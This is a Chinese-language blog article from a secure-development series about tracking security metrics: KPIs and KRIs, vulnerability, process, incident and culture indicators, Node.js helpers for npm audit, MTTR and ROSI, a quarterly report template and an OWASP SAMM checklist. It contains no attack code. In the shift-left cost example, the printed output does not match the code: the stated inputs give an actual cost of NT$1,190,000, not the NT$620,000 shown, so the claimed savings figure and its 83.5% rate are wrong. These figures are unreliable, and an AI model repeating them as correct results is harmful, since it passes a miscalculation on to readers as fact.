
在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全開發(用防火建材施工)、安全測試(請結構技師來驗收)、安全部署(交屋前檢查門窗設定)、安全維運(裝好監視器和煙霧偵測器)。現在,我們來到了階段七:安全教育與持續改進(Education & Continuous Improvement)——如何用數據衡量這一切努力的成果。

想像你花了一大筆錢把房子全面翻修:換了防盜門窗、裝了消防灑水系統、加了監視器和保全。然後你老婆問你:「花了這些錢,到底有沒有比較安全?」

你說:「有啊,感覺比較安全了。」

她說:「什麼叫『感覺』?給我看數據。」

這就是資安指標在做的事——把「感覺比較安全」變成「可以證明比較安全」

在企業裡,這個場景更加現實:你向老闆申請了 NT$50 萬的資安預算,導入了 SAST 掃描、買了 DAST 工具、送工程師去上資安課程。年底績效評估時,老闆問:「這 50 萬花得值嗎?明年還要繼續投嗎?」

如果你只能回答「呃,我們比較安全了」,那明年的預算大概率會被砍。但如果你能拿出一張報告:

  • 高風險漏洞從上線前平均 12 個降到 2 個
  • 漏洞修復時間從 14 天縮短到 3 天
  • 全年零資安事件,避免了預估 NT$500 萬的潛在損失

這就是用數據為安全投資背書,讓「安全」從成本中心變成價值中心。

飛飛觀點:
我曾經跟一位 CTO 聊天,他說:「資安就像買保險,花了錢如果沒出事,大家覺得浪費;出了事才後悔沒買。」資安指標就是解決這個困境的方法——讓安全的價值在「沒出事」的時候也能被量化、被看見。


二、傳統做法 vs. 數據驅動的安全管理

先來看看傳統做法和數據驅動做法的差別:

面向 傳統做法 數據驅動的安全管理
成效評估 「感覺比較安全了」 「高風險漏洞減少 83%」
預算申請 「我們需要更多資安投資」 「每投入 NT$1 在 SAST,省下 NT$8 的修復成本」
風險溝通 「系統可能有漏洞」 「目前有 3 個高風險漏洞,預估影響 2 萬名用戶」
改善方向 憑直覺決定 用數據找出最該投資的環節
向上報告 技術人員自己懂就好 管理層也能看懂的儀表板
團隊激勵 「大家要注意安全」 「這季的安全分數提升了 15 分,做得好!」

用蓋房子的比喻來說:

傳統做法就像裝修完房子後,問住戶「覺得怎麼樣?」——大家說「不錯啊」,但你不知道到底哪裡好、哪裡還需要加強。

數據驅動就像請驗屋師來出一份完整的檢測報告:結構強度 95 分、消防系統合格率 100%、門窗氣密性 88 分——你清楚知道整體狀況,也知道該把下一筆預算花在哪裡(氣密性)。


三、資安指標的兩大支柱:KPI 與 KRI

在進入具體指標之前,先搞清楚兩個核心概念:

KPI(Key Performance Indicator):關鍵績效指標

KPI 回答的問題是:「我們做得好不好?」

KPI 衡量的是你的安全措施的「成效」。就像學生的考試成績——用來評估學習效果、追蹤進步趨勢。

範例:

  • 漏洞修復時間(MTTR)是否在縮短?
  • CI/CD Pipeline 的安全掃描覆蓋率是否在提升?
  • 團隊的資安訓練完成率是多少?

KRI(Key Risk Indicator):關鍵風險指標

KRI 回答的問題是:「我們有多危險?」

KRI 衡量的是你的系統「當前面臨的風險水平」。就像體溫計——用來監測健康狀況,超標就要注意。

範例:

  • 目前有多少個未修補的高風險漏洞?
  • 過去 30 天發生了幾次安全事件?
  • 有多少個第三方套件存在已知 CVE?

KPI vs. KRI 的關係

面向 KPI(績效指標) KRI(風險指標)
回答什麼 我們做得好不好? 我們有多危險?
看的方向 回顧過去的表現 預警未來的風險
比喻 學生的期末成績 學生的健康檢查報告
目標 越高越好(或趨勢向好) 越低越好(或控制在閾值內)
範例 漏洞修復速度、訓練完成率 未修補漏洞數、暴露的攻擊面

飛飛觀點:
很多團隊只追蹤 KPI 卻忽略 KRI,就像只看考試成績卻不做健康檢查。成績再好,如果身體出問題也沒用。反過來說,只看 KRI 而不看 KPI,就像每天量體溫卻不運動——知道自己有風險,但不知道怎麼變好。兩者都要看,才是完整的資安成效追蹤。


四、關鍵安全指標清單:你的團隊應該追蹤什麼?

以下是我整理的資安指標體系,分為五大類別。不需要一次全做,後面會教你怎麼挑選最適合你的指標。

4.1 漏洞管理指標

這是最基本也最重要的一類指標,衡量你發現和修復漏洞的能力。

指標名稱 類型 計算方式 目標方向 說明
漏洞密度 KRI 漏洞數 / 千行程式碼(KLOC) ↓ 越低越好 程式碼的「安全品質密度」
高風險漏洞數 KRI CVSS ≥ 7.0 的未修補漏洞總數 ↓ 越低越好 當前的風險暴露程度
平均修復時間(MTTR) KPI 從發現到修復的平均天數 ↓ 越短越好 團隊的修復效率
修復率 KPI 已修復漏洞 / 已發現漏洞 × 100% ↑ 越高越好 漏洞是否有被處理
漏洞逃逸率 KPI 上線後才發現的漏洞 / 總漏洞數 × 100% ↓ 越低越好 開發階段的攔截能力
漏洞重開率 KPI 修復後又重現的漏洞 / 已修復漏洞 × 100% ↓ 越低越好 修復品質是否到位

台灣企業的合理目標參考:

指標 起步階段 成長階段 成熟階段
漏洞密度 < 10 / KLOC < 5 / KLOC < 2 / KLOC
高風險漏洞 MTTR < 30 天 < 14 天 < 7 天
中風險漏洞 MTTR < 90 天 < 30 天 < 14 天
漏洞逃逸率 < 30% < 15% < 5%

4.2 安全流程指標

衡量安全工具和流程的落實程度。

指標名稱 類型 計算方式 目標方向 說明
安全掃描覆蓋率 KPI 有跑安全掃描的 Repo / 總 Repo 數 × 100% ↑ 越高越好 CI/CD 安全整合的覆蓋程度
掃描通過率 KPI 通過安全品質門檻的 Build / 總 Build 數 × 100% ↑ 越高越好 程式碼品質的趨勢
安全審查率 KPI 經過安全審查的 PR / 總 PR 數 × 100% ↑ 越高越好 Code Review 中安全的涵蓋率
誤報率 KPI 確認為誤報的告警 / 總告警數 × 100% ↓ 越低越好 工具的精準度(太高會導致信任流失)
第三方套件漏洞比例 KRI 有已知 CVE 的套件 / 總套件數 × 100% ↓ 越低越好 供應鏈風險暴露程度

4.3 安全事件指標

衡量你的偵測和回應能力。

指標名稱 類型 計算方式 目標方向 說明
平均偵測時間(MTTD) KPI 從事件發生到被偵測的平均時間 ↓ 越短越好 監控系統的靈敏度
平均回應時間(MTTR) KPI 從偵測到開始處理的平均時間 ↓ 越短越好 事件回應的效率
安全事件數 KRI 過去 N 天/月的安全事件總數 ↓ 越低越好 整體安全態勢
事件復發率 KPI 同類型事件再次發生的比例 ↓ 越低越好 根因是否被徹底解決

4.4 人員與文化指標

衡量團隊的安全意識和能力。

指標名稱 類型 計算方式 目標方向 說明
資安訓練完成率 KPI 完成訓練的人數 / 應訓練人數 × 100% ↑ 越高越好 教育訓練的覆蓋率
Security Champion 覆蓋率 KPI 有 Champion 的團隊 / 總團隊數 × 100% ↑ 越高越好 安全文化的滲透程度
內部安全回報數 KPI 團隊成員主動回報的安全問題數 ↑ 越高越好 安全文化的健康度
安全知識評量分數 KPI 團隊在安全測驗中的平均分數 ↑ 越高越好 安全知識的實際掌握度

4.5 商業影響指標

讓管理層看得懂的指標,連結安全與商業價值。

指標名稱 類型 計算方式 目標方向 說明
安全修復成本節省 KPI 開發階段修復成本 vs. 上線後修復成本的差額 ↑ 越高越好 左移策略的經濟效益
因安全事件導致的停機時間 KRI 因資安事件導致的服務中斷總時數 ↓ 越低越好 安全對可用性的影響
合規差距數 KRI 未滿足法規要求的項目數 ↓ 越低越好 法規風險暴露程度
安全投資報酬率(ROSI) KPI (預期損失 – 實際損失 – 安全投資)/ 安全投資 × 100% ↑ 越高越好 安全投資的整體效益

五、實戰:用 Node.js 建立資安指標追蹤系統

讓我們用一個台灣電商平台的場景,從頭到尾建立一套資安指標追蹤系統。

5.1 定義度量資料結構

// security-metrics.js — 資安指標資料收集模組

/**
 * 資安指標的資料結構定義
 * 用於追蹤 SSDLC 各階段的安全成效
 */
const SecurityMetricsSchema = {
  // 報告基本資訊
  reportPeriod: {
    startDate: '2026-01-01',
    endDate: '2026-03-31',
    quarter: 'Q1-2026',
  },

  // 4.1 漏洞管理指標
  vulnerabilityMetrics: {
    totalDiscovered: 0,        // 本期發現的漏洞總數
    totalResolved: 0,          // 本期修復的漏洞總數
    openHighRisk: 0,           // 目前未修補的高風險漏洞
    openMediumRisk: 0,         // 目前未修補的中風險漏洞
    mttrHigh: 0,               // 高風險漏洞平均修復天數
    mttrMedium: 0,             // 中風險漏洞平均修復天數
    escapedToProduction: 0,    // 逃逸到正式環境的漏洞數
    reopened: 0,               // 修復後又重開的漏洞數
    densityPerKLOC: 0,         // 每千行程式碼的漏洞密度
  },

  // 4.2 安全流程指標
  processMetrics: {
    reposWithScanning: 0,      // 有安全掃描的 Repo 數
    totalRepos: 0,             // 總 Repo 數
    buildsPassed: 0,           // 通過安全門檻的 Build 數
    totalBuilds: 0,            // 總 Build 數
    prsWithSecurityReview: 0,  // 經安全審查的 PR 數
    totalPRs: 0,               // 總 PR 數
    falsePositives: 0,         // 誤報數
    totalAlerts: 0,            // 總告警數
    depsWithCVE: 0,            // 有已知 CVE 的套件數
    totalDeps: 0,              // 總套件數
  },

  // 4.3 安全事件指標
  incidentMetrics: {
    totalIncidents: 0,         // 安全事件總數
    mttdHours: 0,              // 平均偵測時間(小時)
    mttrHours: 0,              // 平均回應時間(小時)
    recurrentIncidents: 0,     // 復發的事件數
  },

  // 4.4 人員與文化指標
  cultureMetrics: {
    trainingCompleted: 0,      // 完成訓練的人數
    trainingRequired: 0,       // 應訓練的人數
    teamsWithChampion: 0,      // 有 Security Champion 的團隊數
    totalTeams: 0,             // 總團隊數
    internalReports: 0,        // 內部安全回報數
    avgQuizScore: 0,           // 安全測驗平均分數
  },
};

5.2 自動化資料收集

// collect-metrics.js — 從 CI/CD 工具自動收集度量資料
const { execSync } = require('child_process');

/**
 * 從 npm audit 收集依賴漏洞資料
 */
function collectDependencyMetrics(projectPath) {
  try {
    const auditResult = execSync(
      <code>cd ${projectPath} && npm audit --json 2>/dev/null</code>,
      { encoding: 'utf8' }
    );
    const audit = JSON.parse(auditResult);

    return {
      totalDeps: Object.keys(audit.vulnerabilities || {}).length,
      critical: countBySeverity(audit, 'critical'),
      high: countBySeverity(audit, 'high'),
      moderate: countBySeverity(audit, 'moderate'),
      low: countBySeverity(audit, 'low'),
      timestamp: new Date().toISOString(),
    };
  } catch (error) {
    console.error('npm audit 執行失敗:', error.message);
    return null;
  }
}

function countBySeverity(audit, severity) {
  return Object.values(audit.vulnerabilities || {})
    .filter(v => v.severity === severity).length;
}

/**
 * 從 Git 記錄計算程式碼行數(用於漏洞密度)
 */
function countLinesOfCode(projectPath) {
  try {
    // 使用 cloc 或簡單的 wc -l
    const result = execSync(
      <code>find ${projectPath}/src -name "*.js" -o -name "*.ts" | xargs wc -l | tail -1</code>,
      { encoding: 'utf8' }
    );
    const totalLines = parseInt(result.trim().split(/\s+/)[0], 10);
    return totalLines;
  } catch {
    return 0;
  }
}

/**
 * 計算漏洞密度
 */
function calculateVulnerabilityDensity(vulnCount, linesOfCode) {
  if (linesOfCode === 0) return 0;
  const kloc = linesOfCode / 1000;
  return parseFloat((vulnCount / kloc).toFixed(2));
}

/**
 * 從漏洞追蹤系統計算 MTTR(平均修復時間)
 * 假設使用 JSON 格式的漏洞記錄
 */
function calculateMTTR(vulnerabilities, severity = 'high') {
  const resolved = vulnerabilities
    .filter(v => v.severity === severity && v.resolvedAt)
    .map(v => {
      const discovered = new Date(v.discoveredAt);
      const resolved = new Date(v.resolvedAt);
      return (resolved - discovered) / (1000 * 60 * 60 * 24); // 天
    });

  if (resolved.length === 0) return 0;
  const avgDays = resolved.reduce((a, b) => a + b, 0) / resolved.length;
  return parseFloat(avgDays.toFixed(1));
}

module.exports = {
  collectDependencyMetrics,
  countLinesOfCode,
  calculateVulnerabilityDensity,
  calculateMTTR,
};

5.3 計算安全投資報酬率(ROSI)

這是讓老闆眼睛一亮的指標——用數字證明安全投資是划算的。

// rosi-calculator.js — 安全投資報酬率計算器

/**
 * ROSI(Return on Security Investment)計算
 *
 * 公式:ROSI = (預期年化損失 × 風險降低比例 - 安全投資成本) / 安全投資成本 × 100%
 *
 * 其中:
 * - ALE(Annualized Loss Expectancy)= SLE × ARO
 * - SLE(Single Loss Expectancy)= 單次事件的預估損失
 * - ARO(Annualized Rate of Occurrence)= 年化發生頻率
 */
function calculateROSI({
  singleLossExpectancy,   // 單次資安事件的預估損失(NT$)
  annualRateOfOccurrence, // 年化發生頻率(次/年)
  riskReductionRate,      // 導入安全措施後的風險降低比例(0-1)
  securityInvestment,     // 安全投資總成本(NT$)
}) {
  // 計算年化預期損失(ALE)
  const ale = singleLossExpectancy * annualRateOfOccurrence;

  // 計算導入安全措施後「避免的損失」
  const avoidedLoss = ale * riskReductionRate;

  // 計算 ROSI
  const rosi = ((avoidedLoss - securityInvestment) / securityInvestment) * 100;

  return {
    ale: Math.round(ale),
    avoidedLoss: Math.round(avoidedLoss),
    securityInvestment,
    rosi: parseFloat(rosi.toFixed(1)),
    netBenefit: Math.round(avoidedLoss - securityInvestment),
  };
}

// ============================
// 實際案例:台灣電商平台
// ============================

const ecommerceCase = calculateROSI({
  // 一次資料外洩事件的預估損失
  // 包含:罰鍰 + 客戶流失 + 法律費用 + 商譽損失
  singleLossExpectancy: 5000000,   // NT$500 萬

  // 根據產業統計,類似規模的電商平台
  // 每年發生重大資安事件的頻率約 0.3 次
  annualRateOfOccurrence: 0.3,

  // 導入 SSDLC(SAST + SCA + DAST + 教育訓練)後
  // 預估可降低 70% 的風險
  riskReductionRate: 0.7,

  // 年度安全投資
  // SAST 工具:NT$0(使用開源 Semgrep)
  // DAST 工具:NT$0(使用開源 ZAP)
  // 教育訓練:NT$100,000
  // 一次滲透測試:NT$250,000
  // 工程師時間成本:NT$150,000
  securityInvestment: 500000,      // NT$50 萬
});

console.log('=== 台灣電商平台 ROSI 分析 ===');
console.log(<code class="kb-btn">年化預期損失 (ALE):NT$${ecommerceCase.ale.toLocaleString()}</code>);
console.log(<code class="kb-btn">避免的損失:NT$${ecommerceCase.avoidedLoss.toLocaleString()}</code>);
console.log(<code class="kb-btn">安全投資:NT$${ecommerceCase.securityInvestment.toLocaleString()}</code>);
console.log(<code class="kb-btn">淨效益:NT$${ecommerceCase.netBenefit.toLocaleString()}</code>);
console.log(<code>ROSI:${ecommerceCase.rosi}%</code>);

// 輸出:
// === 台灣電商平台 ROSI 分析 ===
// 年化預期損失 (ALE):NT$1,500,000
// 避免的損失:NT$1,050,000
// 安全投資:NT$500,000
// 淨效益:NT$550,000
// ROSI:110%
// → 每投入 NT$1,產生 NT$1.10 的安全效益

飛飛觀點:
ROSI 不是精確的科學計算,而是一種「合理的估算」。重點不在於數字是否 100% 精確,而在於它提供了一個讓技術人員和管理層能夠「講同一種語言」的框架。當老闆問「為什麼要花這筆錢」,你能拿出一個有邏輯的數字,而不是只說「因為安全很重要」——這就夠了。

5.4 漏洞修復成本的「左移效益」

IBM 在其年度《資料外洩成本報告》中長年追蹤一個重要發現:漏洞越早發現,修復成本越低。以下是根據業界研究整理的相對成本:

// shift-left-cost.js — 左移策略的成本效益計算

/**
 * 不同階段發現漏洞的相對修復成本
 * 基準:需求階段 = 1x
 */
const RELATIVE_COST = {
  requirements: 1,    // 需求階段(寫規格時發現)
  design: 5,          // 設計階段(威脅建模時發現)
  implementation: 10, // 實作階段(Code Review / SAST 發現)
  testing: 15,        // 測試階段(DAST / 滲透測試發現)
  production: 30,     // 正式環境(上線後才發現)
  breach: 100,        // 資料外洩事件(被攻擊後才發現)
};

/**
 * 計算左移策略的成本節省
 */
function calculateShiftLeftSavings({
  vulnsFoundInRequirements,
  vulnsFoundInDesign,
  vulnsFoundInImplementation,
  vulnsFoundInTesting,
  vulnsFoundInProduction,
  baseCostPerVuln,  // 需求階段修復一個漏洞的基本成本(NT$)
}) {
  // 如果所有漏洞都在正式環境才發現的「最差情境」成本
  const totalVulns =
    vulnsFoundInRequirements +
    vulnsFoundInDesign +
    vulnsFoundInImplementation +
    vulnsFoundInTesting +
    vulnsFoundInProduction;

  const worstCaseCost = totalVulns * baseCostPerVuln * RELATIVE_COST.production;

  // 實際成本(在不同階段發現)
  const actualCost =
    vulnsFoundInRequirements * baseCostPerVuln * RELATIVE_COST.requirements +
    vulnsFoundInDesign * baseCostPerVuln * RELATIVE_COST.design +
    vulnsFoundInImplementation * baseCostPerVuln * RELATIVE_COST.implementation +
    vulnsFoundInTesting * baseCostPerVuln * RELATIVE_COST.testing +
    vulnsFoundInProduction * baseCostPerVuln * RELATIVE_COST.production;

  return {
    totalVulns,
    worstCaseCost: Math.round(worstCaseCost),
    actualCost: Math.round(actualCost),
    savings: Math.round(worstCaseCost - actualCost),
    savingsPercentage: parseFloat(
      (((worstCaseCost - actualCost) / worstCaseCost) * 100).toFixed(1)
    ),
  };
}

// 實際案例:某台灣金融科技公司的季度數據
const result = calculateShiftLeftSavings({
  vulnsFoundInRequirements: 3,    // 安全規格審查時發現 3 個
  vulnsFoundInDesign: 5,          // 威脅建模時發現 5 個
  vulnsFoundInImplementation: 12, // SAST / Code Review 發現 12 個
  vulnsFoundInTesting: 4,         // DAST / 滲透測試發現 4 個
  vulnsFoundInProduction: 1,      // 上線後才發現 1 個
  baseCostPerVuln: 5000,          // 需求階段修復一個漏洞約 NT$5,000
});

console.log('=== 左移效益分析 ===');
console.log(<code>總漏洞數:${result.totalVulns} 個</code>);
console.log(<code class="kb-btn">最差情境成本(全在線上發現):NT$${result.worstCaseCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">實際成本(左移後):NT$${result.actualCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">節省金額:NT$${result.savings.toLocaleString()}</code>);
console.log(<code>節省比例:${result.savingsPercentage}%</code>);

// 輸出:
// === 左移效益分析 ===
// 總漏洞數:25 個
// 最差情境成本(全在線上發現):NT$3,750,000
// 實際成本(左移後):NT$620,000
// 節省金額:NT$3,130,000
// 節省比例:83.5%

六、資安成效報告模板:可直接使用的季度報告

以下是一份完整的資安成效季度報告模板,你可以直接拿來用:

# 資安成效季度報告

## 報告資訊
- **報告期間**:2026 年 Q1(1 月 - 3 月)
- **報告日期**:2026/04/05
- **編製人**:[Security Champion 姓名]
- **審核人**:[技術主管姓名]

---

## 一、執行摘要(給管理層看的 30 秒版本)

本季安全態勢整體**改善**,主要亮點:
- ✅ 高風險漏洞修復時間從 21 天縮短至 7 天(改善 67%)
- ✅ CI/CD 安全掃描覆蓋率從 60% 提升至 85%
- ✅ 全季零重大安全事件
- ⚠️ 第三方套件漏洞比例偏高(12%),需加速更新

**安全投資效益**:本季安全投資 NT$150,000,預估避免損失 NT$500,000,ROSI 為 233%。

---

## 二、漏洞管理

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 漏洞密度(/ KLOC) | 4.2 | 3.1 | ↓ 改善 | < 2.0 |
| 未修補高風險漏洞 | 5 | 2 | ↓ 改善 | 0 |
| 高風險 MTTR(天) | 21 | 7 | ↓ 改善 | < 7 |
| 中風險 MTTR(天) | 45 | 18 | ↓ 改善 | < 14 |
| 漏洞逃逸率 | 18% | 8% | ↓ 改善 | < 5% |
| 漏洞重開率 | 10% | 5% | ↓ 改善 | < 3% |

**分析**:SAST 工具(Semgrep)在 Q1 初導入後,顯著提升了開發階段的攔截能力,
漏洞逃逸率下降 10 個百分點。

---

## 三、安全流程

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 安全掃描覆蓋率 | 60% | 85% | ↑ 改善 | 100% |
| 掃描通過率 | 72% | 81% | ↑ 改善 | > 90% |
| 安全審查率 | 30% | 55% | ↑ 改善 | > 80% |
| 誤報率 | 25% | 18% | ↓ 改善 | < 10% |
| 有 CVE 的套件比例 | 15% | 12% | ↓ 改善 | < 5% |

---

## 四、安全事件

| 指標 | 上季 | 本季 | 趨勢 |
|------|------|------|------|
| 安全事件總數 | 3 | 0 | ↓ 改善 |
| P1/P2 事件 | 1 | 0 | ↓ 改善 |
| MTTD(小時) | 48 | N/A | - |
| MTTR(小時) | 72 | N/A | - |

---

## 五、人員與文化

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 資安訓練完成率 | 40% | 75% | ↑ 改善 | 100% |
| Security Champion 覆蓋率 | 25% | 50% | ↑ 改善 | 100% |
| 內部安全回報數 | 2 | 7 | ↑ 改善 | 持續增加 |

---

## 六、下季行動計畫

| 優先序 | 行動項目 | 負責人 | 預計完成日 |
|--------|---------|--------|-----------|
| P1 | 安全掃描覆蓋率提升至 100% | DevOps Lead | Q2 第 2 週 |
| P1 | 處理剩餘 2 個高風險漏洞 | 後端團隊 | Q2 第 1 週 |
| P2 | 第三方套件全面更新 | 各團隊 Champion | Q2 第 4 週 |
| P2 | 調整 SAST 規則降低誤報率 | 資安 Champion | Q2 第 6 週 |
| P3 | 全員資安訓練達 100% | HR + 資安 | Q2 第 8 週 |

飛飛觀點:
報告最重要的不是「有多少頁」,而是「前 30 秒能不能讓人看懂」。管理層通常只看執行摘要——所以那一段要用最簡潔的方式傳達「現在安全嗎?」和「錢花得值嗎?」兩個核心問題。詳細數據是給技術團隊深入分析用的。


七、用 OWASP SAMM 評估安全成熟度

除了追蹤單一指標,你也需要一個「全局視角」來評估團隊的安全開發成熟度。OWASP SAMM(Software Assurance Maturity Model) 就是這樣的工具。

SAMM 是什麼?

SAMM 把安全開發分成 5 個業務功能、15 個安全實務,每個實務有 3 個成熟度等級。你可以用它來:

  1. 評估現況:我們現在在哪裡?
  2. 設定目標:我們想達到什麼水準?
  3. 追蹤進步:我們有沒有在進步?

SAMM 五大業務功能

業務功能 說明 包含的安全實務
治理(Governance) 管理和策略 策略與指標、政策與合規、教育與指導
設計(Design) 威脅評估和架構 威脅評估、安全需求、安全架構
實作(Implementation) 建構和部署 安全建構、安全部署、缺陷管理
驗證(Verification) 測試和審查 架構評估、需求驗證測試、安全測試
營運(Operations) 事件和環境 事件管理、環境管理、營運管理

成熟度等級

等級 說明 比喻
Level 0 沒有做 房子沒裝門鎖
Level 1 有基本做法,但非系統化 有裝門鎖,但沒有保全系統
Level 2 有系統化的流程 有保全系統,定期巡邏
Level 3 全面優化,持續改進 24 小時監控中心,定期演練

快速自評 Checklist

以下是一份簡化版的 SAMM 自評表,適合作為團隊的第一次評估:

## OWASP SAMM 快速自評 Checklist

### 治理(Governance)
- [ ] Level 1: 有基本的安全政策文件
- [ ] Level 1: 團隊成員接受過安全教育訓練
- [ ] Level 2: 有定義資安 KPI 並定期追蹤
- [ ] Level 2: 安全政策每年審查更新
- [ ] Level 3: 安全策略與業務目標對齊,管理層定期審查

### 設計(Design)
- [ ] Level 1: 對高風險功能有做威脅建模
- [ ] Level 1: 有定義基本的安全需求
- [ ] Level 2: 所有新功能都有威脅建模
- [ ] Level 2: 有安全架構設計的標準和模式
- [ ] Level 3: 威脅建模結果被追蹤和驗證

### 實作(Implementation)
- [ ] Level 1: 有安全編碼規範
- [ ] Level 1: 有使用 SAST 工具
- [ ] Level 2: CI/CD 整合安全掃描
- [ ] Level 2: 有第三方套件漏洞管理流程
- [ ] Level 3: 安全品質門檻自動化,零容忍政策

### 驗證(Verification)
- [ ] Level 1: 有做過至少一次滲透測試
- [ ] Level 1: 有使用 DAST 工具
- [ ] Level 2: 定期執行安全測試(至少每季)
- [ ] Level 2: 安全測試涵蓋 OWASP Top 10
- [ ] Level 3: 安全測試完全自動化,結果追蹤到修復

### 營運(Operations)
- [ ] Level 1: 有基本的事件回應流程
- [ ] Level 1: 有安全監控和日誌
- [ ] Level 2: 有事件回應 SOP 和演練
- [ ] Level 2: 安全監控涵蓋應用層和基礎設施層
- [ ] Level 3: 自動化事件偵測和回應,定期紅隊演練

評分方式:

  • 每個 Level 的所有項目都勾選 → 達到該 Level
  • 取每個業務功能的最低達成 Level 作為該功能的分數
  • 5 個功能的平均值就是你的整體成熟度分數

八、安全儀表板設計:讓數據會說話

好的度量數據需要好的呈現方式。以下是安全儀表板的設計建議:

儀表板的三層結構

┌─────────────────────────────────────────────────────────────┐
│                    Layer 1:執行摘要                          │
│  給 CTO/CEO 看的,一眼就知道「安全嗎?」                      │
│                                                              │
│  🟢 安全態勢:良好    📊 ROSI:110%    ⚠️ 待處理:2 個高風險  │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 2:趨勢分析                          │
│  給技術主管看的,了解「有沒有在進步?」                        │
│                                                              │
│  📈 漏洞密度趨勢(過去 4 季)                                 │
│  📉 MTTR 趨勢(過去 4 季)                                   │
│  📊 安全掃描覆蓋率趨勢                                       │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 3:詳細數據                          │
│  給資安團隊看的,深入分析「哪裡需要改進?」                    │
│                                                              │
│  🔍 個別漏洞清單與狀態                                       │
│  📋 各 Repo 的掃描結果                                       │
│  👥 各團隊的訓練完成度                                        │
└─────────────────────────────────────────────────────────────┘

安全態勢的紅綠燈系統

用簡單的紅黃綠燈讓所有人一眼看懂:

燈號 條件 代表意義
🟢 綠燈 所有高風險漏洞已修復 + 掃描覆蓋率 > 80% + 本月零事件 安全態勢良好
🟡 黃燈 有 1-3 個高風險漏洞待修復,或覆蓋率 < 80% 需要關注
🔴 紅燈 有 > 3 個高風險漏洞,或發生 P1/P2 事件 需要立即行動

九、團隊落地建議:從零開始建立資安指標追蹤

建議一:從三個指標開始

如果你的團隊從來沒追蹤過資安指標,不要一口氣追蹤 20 個指標——那只會讓大家疲於奔命。先從這三個最基本的開始:

  1. 高風險漏洞數量(KRI)— 知道你現在有多危險
  2. 高風險漏洞 MTTR(KPI)— 知道你修得夠不夠快
  3. 安全掃描覆蓋率(KPI)— 知道你有沒有在做安全檢查

這三個指標就像體檢的血壓、血糖、心率——最基本但最關鍵。

建議二:善用現有工具自動收集

不需要另外買度量工具。你的 CI/CD 系統已經有很多數據:

資料來源 可以提取的指標
GitHub / GitLab PR 數、Code Review 數、Merge 時間
npm audit / Snyk 套件漏洞數、嚴重等級分布
Semgrep / SonarQube 程式碼漏洞數、漏洞密度
OWASP ZAP DAST 掃描結果、漏洞類別分布
Jira / Linear 漏洞修復時間、漏洞狀態追蹤
Slack / Teams 安全事件通報數、回應時間

建議三:每季做一次資安成效報告

不需要每天看數字,但至少每季做一次正式的回顧:

每季資安指標追蹤流程:

第 1 週:自動化收集數據
    ↓
第 2 週:分析趨勢,撰寫報告
    ↓
第 3 週:團隊內部 Review
    ↓
第 4 週:向管理層報告,設定下季目標
    ↓
  (下一季重複)

建議四:把度量結果跟團隊目標連結

度量不是為了懲罰,而是為了改進。把資安指標融入團隊的 OKR 或 KPI:

## 範例:工程團隊 Q2 OKR

**Objective:提升產品安全品質**

KR1:高風險漏洞 MTTR 從 14 天降至 7 天
KR2:CI/CD 安全掃描覆蓋率達 100%
KR3:漏洞逃逸率從 15% 降至 8%
KR4:全員完成 OWASP Top 10 線上課程

建議五:慶祝進步,不懲罰失敗

這是安全文化的核心。當指標改善時,公開表揚團隊。當指標退步時,把它當作學習機會,不是指責對象。

  • ✅ 「這季的 MTTR 縮短了 50%,大家做得很好!」
  • ✅ 「漏洞逃逸率上升了,我們來看看是哪個環節需要加強。」
  • ❌ 「誰寫的程式碼又出問題了?」

常見問題 FAQ

Q1:我們公司很小(3-5 人團隊),有必要追蹤資安指標嗎?

有,但可以極度簡化。小團隊只需要追蹤三個數字:目前有幾個高風險漏洞、修一個漏洞平均要多久、CI/CD 有沒有跑安全掃描。每個月花 15 分鐘看一下就好。重點不是做出一份精美的報告,而是養成「用數據看安全」的習慣。

Q2:ROSI 的數據很難估算,有什麼簡化方法?

可以用「事件成本法」來簡化:找出過去一年你們產業中類似規模公司發生資安事件的案例,估算一次事件的平均成本(包括停機、修復、客戶流失、罰鍰)。台灣中小型電商的一次資料外洩事件平均損失在 NT$200 萬到 NT$1,000 萬之間,金融業更高。拿這個數字乘以你認為的年化發生頻率(通常 0.1-0.5),就是你的 ALE。不需要追求精確,合理的估算就夠了。

Q3:安全指標一直沒改善怎麼辦?

先檢查三件事:一是指標本身是否合理——目標太高會讓團隊挫敗,建議一次只改善一個指標;二是工具是否到位——光靠人力很難提升指標,自動化工具是必要的投資;三是是否有明確的負責人——沒人負責的指標不會自己變好。如果三件事都確認了,還是沒進步,可能需要重新檢視你的安全流程設計。

Q4:管理層對資安成效報告沒興趣怎麼辦?

把報告「翻譯」成他們在意的語言。管理層不在意漏洞密度是 3.1 還是 4.2,但他們在意:「如果不處理這些漏洞,一旦發生資料外洩,可能面臨 NT$500 萬的罰鍰和客戶流失。」「這季的安全投資為公司避免了 NT$100 萬的潛在損失。」用風險和金錢說話,比用技術術語有效 10 倍。


十、結語:量化安全,讓努力被看見

回到蓋房子的比喻。你花了大量心血學習安全需求、安全設計、安全編碼、安全測試、安全監控——這一路走來,你的房子已經從一棟普通的建築,變成了一座有防震結構、消防系統、監視保全的安全堡壘。

但最終,你需要一份「驗屋報告」,證明這些努力不是白費的。資安指標就是那份報告。

它不只是給老闆看的——更是給你自己和團隊看的。當你看到漏洞密度從 10 降到 3,當你看到 MTTR 從一個月縮短到一週,當你看到安全掃描覆蓋率從 0% 爬到 100%——每一個數字的改善,都是你和團隊一步一步踏實走出來的成果。

「安全不是恐懼,而是創造的基礎。而度量,就是讓你看見自己走了多遠、還能走多遠的地圖。」

SSDLC 的七個階段,我們一路從安全需求走到了資安成效追蹤。這不是終點,而是一個新的循環的起點。有了度量,你才知道下一輪要從哪裡開始改進;有了數據,你才能持續讓安全變得更好。

記住,沒有度量的安全是盲目的努力,而有度量的安全是持續進化的力量。

讓我們用數據,讓安全的價值被每一個人看見。


延伸閱讀

[安全教育] 001 Security Champion 計畫:讓開發者成為安全推手|建立機制、培訓與激勵的完整實戰指南

「最好的防火牆,不是裝在伺服器上的那道,而是裝在每個開發者腦中的那道。
Security Champion 不是多一個頭銜,而是讓安全有了在每個團隊生根的土壤。」
